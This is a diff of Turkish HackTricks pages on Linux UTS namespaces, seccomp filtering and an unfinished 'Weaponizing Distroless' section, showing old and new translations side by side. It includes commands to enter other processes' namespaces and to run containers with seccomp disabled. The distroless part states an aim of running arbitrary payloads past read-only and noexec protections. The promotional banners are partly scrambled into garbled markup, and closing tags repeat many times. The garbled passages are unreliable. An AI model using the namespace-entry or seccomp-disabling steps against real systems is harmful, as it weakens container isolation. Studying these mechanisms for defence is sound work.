UTS (UNIX Time-Sharing System) ad alanı, Linux çekirdeğinin bir özelliğidir ve iki sistem tanımlayıcısının (hostname ve NIS (Network Information Service) etki alanı adı) **izolasyonunu sağlar**. Bu izolasyon, her UTS ad alanının **kendi bağımsız hostname ve NIS etki alanı adına** sahip olmasını sağlar. Bu özellik, her bir konteynerin kendi hostname'una sahip ayrı bir sistem gibi görünmesi gereken konteynerleştirme senaryolarında özellikle kullanışlıdır.
UTS (UNIX Zaman Paylaşım Sistemi) ad alanı, iki sistem tanımlayıcısının **izolasyonunu** sağlayan bir Linux çekirdek özelliğidir: **hostname** ve **NIS** (Ağ Bilgi Servisi) alan adı. Bu izolasyon, her UTS ad alanının **kendi bağımsız hostname ve NIS alan adına** sahip olmasına olanak tanır; bu, her konteynerin kendi hostname'i ile ayrı bir sistem olarak görünmesi gereken konteynerleştirme senaryolarında özellikle yararlıdır.
### Nasıl Çalışır:
### Nasıl çalışır:
1. Yeni bir UTS ad alanı oluşturulduğunda, **ebeveyn ad alanından hostname ve NIS etki alanı adının bir kopyasıyla başlar**. Bu, yeni ad alanının oluşturulduğunda, yeni ad alanının **ebeveyniyle aynı tanımlayıcılara sahip olduğu** anlamına gelir. Ancak, ad alanı içindeki hostname veya NIS etki alanı adında yapılan herhangi bir sonraki değişiklik, diğer ad alanlarını etkilemez.
2. UTS ad alanı içindeki işlemler, sırasıyla `sethostname()` ve `setdomainname()` sistem çağrılarını kullanarak **hostname ve NIS etki alanı adını değiştirebilir**. Bu değişiklikler, ad alanına özgüdür ve diğer ad alanlarını veya ana sistemini etkilemez.
3. İşlemler, `setns()` sistem çağrısını kullanarak ad alanları arasında hareket edebilir veya `unshare()` veya `clone()` sistem çağrılarını `CLONE_NEWUTS` bayrağıyla kullanarak yeni ad alanları oluşturabilir. Bir işlem yeni bir ad alanına geçtiğinde veya bir ad alanı oluşturduğunda, o ad alanıyla ilişkilendirilen hostname ve NIS etki alanı adını kullanmaya başlar.
1. Yeni bir UTS ad alanı oluşturulduğunda, **ebeveyn ad alanından hostname ve NIS alan adının bir kopyasıyla başlar**. Bu, oluşturulduğunda yeni ad alanının **ebeveyniyle aynı tanımlayıcıları paylaştığı** anlamına gelir. Ancak, ad alanı içindeki hostname veya NIS alan adı üzerindeki sonraki değişiklikler diğer ad alanlarını etkilemeyecektir.
2. Bir UTS ad alanı içindeki süreçler, sırasıyla `sethostname()` ve `setdomainname()` sistem çağrılarını kullanarak **hostname ve NIS alan adını değiştirebilir**. Bu değişiklikler ad alanına özgüdür ve diğer ad alanlarını veya ana sistemini etkilemez.
3. Süreçler, `setns()` sistem çağrısını kullanarak ad alanları arasında geçiş yapabilir veya `CLONE_NEWUTS` bayrağı ile `unshare()` veya `clone()` sistem çağrılarını kullanarak yeni ad alanları oluşturabilir. Bir süreç yeni bir ad alanına geçtiğinde veya bir tane oluşturduğunda, o ad alanıyla ilişkili hostname ve NIS alan adını kullanmaya başlayacaktır.
## Lab:
## Laboratuvar:
### Farklı Ad Alanları Oluşturma
@ -32,27 +47,27 @@ UTS (UNIX Time-Sharing System) ad alanı, Linux çekirdeğinin bir özelliğidir
```bash
sudo unshare -u [--mount-proc] /bin/bash
```
`--mount-proc` parametresini kullanarak `/proc` dosya sisteminin yeni bir örneğini bağladığınızda, yeni bağlama alanının **o ad alanına özgü işlem bilgilerinin doğru ve izole bir görünümünü** sağlarsınız.
Yeni bir `/proc` dosya sisteminin örneğini `--mount-proc` parametresi ile monte ederek, yeni montaj ad alanının **o ad alanına özgü süreç bilgilerine doğru ve izole bir görünüm** sağladığınızı garanti edersiniz.
<details>
<summary>Hata: bash: fork: Bellek tahsis edilemiyor</summary>
`unshare` komutu `-f` seçeneği olmadan çalıştırıldığında, Linux'un yeni PID (İşlem Kimliği) ad alanlarını nasıl işlediği nedeniyle bir hata oluşur. Ana ayrıntılar ve çözüm aşağıda belirtilmiştir:
`unshare` komutu `-f` seçeneği olmadan çalıştırıldığında, Linux'un yeni PID (Process ID) ad alanlarını nasıl yönettiği nedeniyle bir hata ile karşılaşılır. Anahtar detaylar ve çözüm aşağıda özetlenmiştir:
1. **Sorun Açıklaması**:
- Linux çekirdeği, bir işlemin `unshare` sistem çağrısını kullanarak yeni ad alanları oluşturmasına izin verir. Ancak, yeni bir PID ad alanının oluşturulmasını başlatan işlem (unshare işlemi olarak adlandırılır) yeni ad alanına girmemektedir; sadece çocuk işlemleri girer.
- `%unshare -p /bin/bash%` komutu, `/bin/bash`'i `unshare` ile aynı işlemde başlatır. Sonuç olarak, `/bin/bash` ve çocuk işlemleri orijinal PID ad alanında bulunur.
- Yeni ad alanındaki `/bin/bash`'in ilk çocuk işlemi PID 1 olur. Bu işlem çıkış yaptığında, eğer başka işlem yoksa ad alanının temizlenmesini tetikler, çünkü PID 1 yetim işlemleri sahiplenme özel rolüne sahiptir. Linux çekirdeği daha sonra o ad alanında PID tahsisini devre dışı bırakır.
- Linux çekirdeği, bir sürecin `unshare` sistem çağrısını kullanarak yeni ad alanları oluşturmasına izin verir. Ancak, yeni bir PID ad alanı oluşturma işlemini başlatan süreç (bu süreç "unshare" süreci olarak adlandırılır) yeni ad alanına girmez; yalnızca onun çocuk süreçleri girer.
- `%unshare -p /bin/bash%` komutu, `/bin/bash`'i `unshare` ile aynı süreçte başlatır. Sonuç olarak, `/bin/bash` ve onun çocuk süreçleri orijinal PID ad alanındadır.
- Yeni ad alanındaki `/bin/bash`'in ilk çocuk süreci PID 1 olur. Bu süreç sona erdiğinde, başka süreç yoksa ad alanının temizlenmesini tetikler, çünkü PID 1, yetim süreçleri benimseme özel rolüne sahiptir. Linux çekirdeği, o ad alanında PID tahsisini devre dışı bırakır.
2. **Sonuç**:
- Yeni bir ad alanındaki PID 1'in çıkışı, `PIDNS_HASH_ADDING` bayrağının temizlenmesine neden olur. Bu, yeni bir işlem oluştururken `alloc_pid` işlevinin yeni bir PID tahsis edememesine ve "Bellek tahsis edilemiyor" hatasının oluşmasına yol açar.
- Yeni bir ad alanındaki PID 1'in çıkışı, `PIDNS_HASH_ADDING` bayrağının temizlenmesine yol açar. Bu, yeni bir süreç oluştururken `alloc_pid` fonksiyonunun yeni bir PID tahsis edememesine neden olur ve "Bellek tahsis edilemiyor" hatasını üretir.
3. **Çözüm**:
- Sorun, `unshare` ile `-f` seçeneğini kullanarak çözülebilir. Bu seçenek, `unshare`'in yeni PID ad alanı oluşturduktan sonra yeni bir işlem çatallamasını sağlar.
- `%unshare -fp /bin/bash%` komutunu çalıştırmak, `unshare` komutunun kendisinin yeni ad alanında PID 1 haline gelmesini sağlar. `/bin/bash` ve çocuk işlemleri bu yeni ad alanında güvenli bir şekilde sınırlanır, PID 1'in erken çıkışını önler ve normal PID tahsisine izin verir.
- Sorun, `unshare` ile `-f` seçeneğini kullanarak çözülebilir. Bu seçenek, `unshare`'in yeni PID ad alanını oluşturduktan sonra yeni bir süreç fork etmesini sağlar.
- `%unshare -fp /bin/bash%` komutunu çalıştırmak, `unshare` komutunun yeni ad alanında PID 1 olmasını garanti eder. `/bin/bash` ve onun çocuk süreçleri bu yeni ad alanında güvenli bir şekilde yer alır, PID 1'in erken çıkışını önler ve normal PID tahsisine izin verir.
`unshare` komutunun `-f` bayrağıyla çalıştığından emin olarak, yeni PID ad alanı doğru bir şekilde korunur ve `/bin/bash` ve alt işlemleri bellek tahsis hatasıyla karşılaşmadan çalışabilir.
`unshare`'in `-f` bayrağı ile çalıştığından emin olarak, yeni PID ad alanı doğru bir şekilde korunur ve `/bin/bash` ile alt süreçlerinin bellek tahsis hatası ile karşılaşmadan çalışmasına olanak tanır.
</details>
@ -61,19 +76,11 @@ sudo unshare -u [--mount-proc] /bin/bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;Hangi ad alanında olduğunuzu kontrol edin
Bir işlemin hangi ad alanında olduğunu kontrol etmek için aşağıdaki komutu kullanabilirsiniz:
```bash
$ cat /proc/$$/ns/uts
```
Bu komut, işlem kimliği (`$$`) kullanılarak `/proc` dosya sistemi altındaki `ns/uts` dosyasını okur. Çıktı, işlemin hangi ad alanında olduğunu gösterir.
```bash
ls -l /proc/self/ns/uts
lrwxrwxrwx 1 root root 0 Apr 4 20:49 /proc/self/ns/uts -> 'uts:[4026531838]'
```
### Tüm UTS isim alanlarını bulun
### Tüm UTS ad alanlarını bul
{% code overflow="wrap" %}
```bash
@ -81,34 +88,51 @@ sudo find /proc -maxdepth 3 -type l -name uts -exec readlink {} \; 2>/dev/null |
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name uts -exec ls -l {} \; 2>/dev/null | grep <ns-number>
```
{% code %}
### Bir UTS ad alanına giriş yapma
{% endcode %}
```bash
nsenter -u TARGET_PID --pid /bin/bash
```
Ayrıca, yalnızca root kullanıcısıysanız **başka bir işlem ad alanına girebilirsiniz**. Ve **/proc/self/ns/uts** gibi bir tanımlayıcıya sahip olmadan **başka bir ad alanına giremezsiniz**.
### Host adını değiştirme
### UTS ad alanına girin
```bash
unshare -u /bin/bash
hostname newhostname # Hostname won't be changed inside the host UTS ns
```
## Referanslar
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> öğrenin!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** isterseniz [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,30 +1,40 @@
# Seccomp
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerinizi sıfırdan kahraman seviyesine çıkarın</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile</strong>!</summary>
<summary>Support HackTricks</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
## Temel Bilgiler
**Seccomp**, Linux çekirdeğinin bir güvenlik özelliğidir ve **sistem çağrılarını filtrelemek** için tasarlanmıştır. Bu, işlemleri sınırlı bir sistem çağrısı kümesine (`exit()`, `sigreturn()`, `read()` ve `write()`) kısıtlar. Bir işlem başka bir şey çağırmaya çalışırsa, çekirdek tarafından SIGKILL veya SIGSYS kullanılarak sonlandırılır. Bu mekanizma kaynakları sanallaştırmaz, ancak işlemi onlardan izole eder.
**Seccomp**, Güvenli Hesaplama modu anlamına gelir, **sistem çağrılarını filtrelemek için tasarlanmış bir Linux çekirdek güvenlik özelliğidir**. Süreçleri sınırlı bir sistem çağrısı kümesine (`exit()`, `sigreturn()`, `read()` ve `write()` zaten açık dosya tanımlayıcıları için) kısıtlar. Bir süreç başka bir şey çağırmaya çalışırsa, çekirdek tarafından SIGKILL veya SIGSYS kullanılarak sonlandırılır. Bu mekanizma kaynakları sanallaştırmaz, ancak süreci onlardan izole eder.
Seccomp'i etkinleştirmenin iki yolu vardır: `prctl(2)` sistem çağrısıyla `PR_SET_SECCOMP` kullanarak veya Linux çekirdekleri 3.17 ve üstü için `seccomp(2)` sistem çağrısıyla. Seccomp'i etkinleştirmenin eski yöntemi, `/proc/self/seccomp`'a yazarak seccomp'i etkinleştirmekti, ancak bu yöntem `prctl()` lehine kullanımdan kaldırılmıştır.
Seccomp'ı etkinleştirmenin iki yolu vardır: `PR_SET_SECCOMP` ile `prctl(2)` sistem çağrısı veya Linux çekirdekleri 3.17 ve üzeri için `seccomp(2)` sistem çağrısı. `/proc/self/seccomp` dosyasına yazarak seccomp'ı etkinleştirmenin eski yöntemi, `prctl()` lehine kullanımdan kaldırılmıştır.
Bir geliştirme olan **seccomp-bpf**, özelleştirilebilir bir politika ile sistem çağrılarını filtreleme yeteneği ekler ve Berkeley Packet Filter (BPF) kurallarını kullanır. Bu uzantı, OpenSSH, vsftpd ve Chrome OS ve Linux üzerindeki Chrome/Chromium tarayıcıları gibi yazılımlar tarafından kullanılır ve eski desteklenmeyen systrace için esnek ve verimli sistem çağrısı filtreleme sağlar.
Bir geliştirme olan **seccomp-bpf**, özelleştirilebilir bir politika ile sistem çağrılarını filtreleme yeteneği ekler ve Berkeley Paket Filtreleme (BPF) kurallarını kullanır. Bu uzantı, OpenSSH, vsftpd ve Chrome OS ile Linux'taki Chrome/Chromium tarayıcıları gibi yazılımlar tarafından esnek ve verimli sistem çağrı filtrelemesi için kullanılmaktadır ve artık desteklenmeyen systrace için bir alternatif sunmaktadır.
### **Orijinal/Katı Mod**
### **Orijinal/Sıkı Mod**
Bu modda Seccomp, yalnızca `exit()`, `sigreturn()`, `read()` ve `write()` sistem çağrılarına izin verir. Başka bir sistem çağrısı yapılırsa, işlem SIGKILL kullanılarak sonlandırılır.
Bu modda Seccomp **yalnızca sistem çağrılarına izin verir** `exit()`, `sigreturn()`, `read()` ve `write()` zaten açık dosya tanımlayıcıları için. Başka bir sistem çağrısı yapılırsa, süreç SIGKILL kullanılarak öldürülür.
{% code title="seccomp_strict.c" %}
```c
@ -62,7 +72,7 @@ printf("You will not see this message--the process will be killed first\n");
### Seccomp-bpf
Bu mod, Berkeley Packet Filter kuralları kullanılarak uygulanan yapılandırılabilir bir politika ile sistem çağrılarının filtrelenmesine izin verir.
Bu mod, **Berkeley Paket Filtreleme kuralları kullanılarak uygulanan yapılandırılabilir bir politika ile sistem çağrılarının filtrelenmesine** olanak tanır.
{% code title="seccomp_bpf.c" %}
```c
@ -116,29 +126,29 @@ printf("this process is %d\n", getpid());
## Docker'da Seccomp
**Seccomp-bpf**, **Docker** tarafından desteklenir ve konteynerlerden gelen **sistem çağrılarını** kısıtlamak için kullanılır, böylece yüzey alanı azaltılır. **Varsayılan olarak engellenen sistem çağrılarını** [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/) adresinde bulabilirsiniz ve **varsayılan seccomp profili** burada bulunabilir: [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json).\
Farklı bir seccomp politikasıyla bir docker konteyneri çalıştırabilirsiniz:
**Seccomp-bpf**, **Docker** tarafından konteynerlerden **syscall'ları** kısıtlamak için desteklenmektedir ve bu, yüzey alanını etkili bir şekilde azaltır. **Varsayılan** olarak **engellenen syscall'ları** [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/) adresinde bulabilirsiniz ve **varsayılan seccomp profili** burada bulunmaktadır [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json).\
Farklı bir **seccomp** politikası ile bir docker konteyneri çalıştırabilirsiniz:
```bash
docker run --rm \
-it \
--security-opt seccomp=/path/to/seccomp/profile.json \
hello-world
```
Örneğin, `uname` gibi bazı **sistem çağrılarının** bir konteyner tarafından **yürütülmesini yasaklamak** istiyorsanız, varsayılan profil dosyasını [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) adresinden indirebilir ve sadece listeden `uname` dizesini **kaldırabilirsiniz**.\
Bir **docker konteyneri içinde bazı ikili dosyaların çalışmadığından** emin olmak isterseniz, strace kullanarak ikili dosyanın kullandığı sistem çağrılarını listelemek ve ardından bunları yasaklamak mümkündür.\
Aşağıdaki örnekte, `uname`'in sistem çağrıları keşfedilir:
Eğer bir konteynerin bazı **syscall**'ları, örneğin `uname`'i **yasaklamak** istiyorsanız, [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) adresinden varsayılan profili indirebilir ve sadece **`uname` dizesini listeden kaldırabilirsiniz**.\
Eğer **bir ikili dosyanın bir docker konteyneri içinde çalışmadığından emin olmak** istiyorsanız, ikili dosyanın kullandığı syscall'ları listelemek için strace kullanabilir ve ardından bunları yasaklayabilirsiniz.\
Aşağıdaki örnekte `uname`'in **syscall**'ları keşfedilmektedir:
```bash
docker run -it --security-opt seccomp=default.json modified-ubuntu strace uname
```
{% hint style="info" %}
Eğer sadece bir uygulama başlatmak için Docker kullanıyorsanız, onu `strace` ile **profilleyebilir** ve sadece ihtiyaç duyduğu sistem çağrılarını **izin verebilirsiniz**.
Eğer **Docker'ı sadece bir uygulamayı başlatmak için kullanıyorsanız**, onu **`strace`** ile **profil oluşturabilir** ve ihtiyaç duyduğu sistem çağrılarına **sadece izin verebilirsiniz.**
{% endhint %}
### Örnek Seccomp politikası
[Örnek buradan alınmıştır](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)
[Buradan örnek](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)
Seccomp özelliğini göstermek için, aşağıdaki gibi "chmod" sistem çağrısını devre dışı bırakan bir Seccomp profil oluşturalım.
Seccomp özelliğini göstermek için, aşağıda “chmod” sistem çağrısını devre dışı bırakan bir Seccomp profili oluşturalım.
```json
{
"defaultAction": "SCMP_ACT_ALLOW",
@ -151,33 +161,44 @@ Seccomp özelliğini göstermek için, aşağıdaki gibi "chmod" sistem çağrı
}
```
Yukarıdaki profilde, varsayılan eylemi "izin ver" olarak ayarladık ve "chmod"u devre dışı bırakmak için bir kara liste oluşturduk. Daha güvenli olmak için, varsayılan eylemi "düşür" olarak ayarlayabilir ve sistem çağrılarını seçici olarak etkinleştirmek için bir beyaz liste oluşturabiliriz.\
Aşağıdaki çıktı, seccomp profilde devre dışı bırakıldığı için "chmod" çağrısının hata döndürdüğünü göstermektedir.
Aşağıdaki çıktı, "chmod" çağrısının, seccomp profilinde devre dışı bırakıldığı için hata döndürdüğünü göstermektedir.
```bash
$ docker run --rm -it --security-opt seccomp:/home/smakam14/seccomp/profile.json busybox chmod 400 /etc/hosts
chmod: /etc/hosts: Operation not permitted
```
Aşağıdaki çıktı, profilin görüntülendiği "docker inspect" komutunu göstermektedir:
Aşağıdaki çıktı, profilin görüntülendiği “docker inspect” komutunu göstermektedir:
```json
"SecurityOpt": [
"seccomp:{\"defaultAction\":\"SCMP_ACT_ALLOW\",\"syscalls\":[{\"name\":\"chmod\",\"action\":\"SCMP_ACT_ERRNO\"}]}"
],
```
### Docker'da Devre Dışı Bırakma
Bayrakla birlikte bir konteyner başlatın: **`--security-opt seccomp=unconfined`**
Kubernetes 1.19'dan itibaren, **seccomp varsayılan olarak tüm Pod'lar için etkinleştirilmiştir**. Bununla birlikte, Pod'lara uygulanan varsayılan seccomp profili, konteyner çalışma zamanı tarafından sağlanan "**RuntimeDefault**" profili olup (örneğin Docker, containerd), "RuntimeDefault" profili, çoğu sistem çağrısına izin verirken, konteynerler için tehlikeli veya genellikle gereksiz olarak kabul edilen birkaç sistem çağrısını engeller.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,42 +1,64 @@
# Distroless'u Silahlandırma
# Weaponizing Distroless
<details>
{% hnnt styte=" acceas" %}
GCP Ha& practice ckinH: <img:<img src="/.gitbcok/ass.ts/agte.png"talb=""odata-siz/="line">[**HackTatckt T.aining AWS Red TelmtExp"rt (ARTE)**](ta-size="line">[**HackTricks Training GCP Re)Tmkg/stc="r.giebpokal"zee>/ttdt.png"isl=""data-ize="line">\
Öğrenin & GCP uygulamaları<imgmsrc="/.gipbtok/aHsats/gcte.mag"y>lt="" aa-iz="le">[**angGC RedTamExper(GE)<img rc=".okaetgte.ng"al=""daa-siz="ne">tinhackth ckiuxyzcomurspssgr/a)
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<dotsilp>
HackTricks'ı desteklemenin diğer yolları:
<oummpr>SupportHackTricks</smmay>
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
*Chek th [**subsrippangithub.cm/sorsarlosp!
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi takip edin** **Twitter** 🐦 [**@hahktcickr\_kivelive**](https://twitter.com/hacktr\icks\_live)**.**
* **Hacking ipuçlarını paylaşın,** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek.
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
## Distroless Nedir
Distroless bir konteyner türüdür ve **belirli bir uygulamayı çalıştırmak için gerekli olan bağımlılıkları içerir**, gereksiz yazılım veya araçlar olmadan. Bu konteynerler, **mümkün olduğunca hafif** ve **güvenli** olacak şekilde tasarlanmıştır ve gereksiz bileşenleri kaldırarak **saldırı yüzeyini en aza indirmeyi** amaçlar.
Distroless konteyner, **belirli bir uygulamayı çalıştırmak için gerekli olan bağımlılıkları** içeren bir konteyner türüdür; gereksiz yazılım veya araçlar içermez. Bu konteynerler, **hafif** ve **güvenli** olmaları için tasarlanmıştır ve gereksiz bileşenleri kaldırarak **saldırı yüzeyini minimize etmeyi** hedefler.
Distroless konteynerler genellikle **güvenlik ve güvenilirlik açısından önemli olan üretim ortamlarında** kullanılır.
Distroless konteynerler genellikle **güvenlik ve güvenilirliğin ön planda olduğu üretim ortamlarında** kullanılır.
Bazı **distroless konteyner** örnekleri şunlardır:
**Distroless konteynerlere** bazı **örnekler** şunlardır:
* **Google tarafından sağlanan**: [https://console.cloud.google.com/gcr/images/distroless/GLOBAL](https://console.cloud.google.com/gcr/images/distroless/GLOBAL)
* **Chainguard tarafından sağlanan**: [https://github.com/chainguard-images/images/tree/main/images](https://github.com/chainguard-images/images/tree/main/images)
* **Google** tarafından sağlanan: [https://console.cloud.google.com/gcr/images/distroless/GLOBAL](https://console.cloud.google.com/gcr/images/distroless/GLOBAL)
* **Chainguard** tarafından sağlanan: [https://github.com/chainguard-images/images/tree/main/images](https://github.com/chainguard-images/images/tree/main/images)
## Distroless'u Silahlandırma
## Distroless'ı Silahlandırma
Distroless konteyneri silahlandırmanın amacı, **distroless'un** (sistemde yaygın olan ortak ikili dosyaların eksikliği gibi) **sınırlamaları** tarafından ima edilen **sınırlamalarla bile keyfi ikili dosyaları ve yükleri yürütebilmektir** ve ayrıca `/dev/shm` içindeki **salt okunur** veya **yürütülemez** gibi konteynerlerde yaygın olarak bulunan korumaları da içerir.
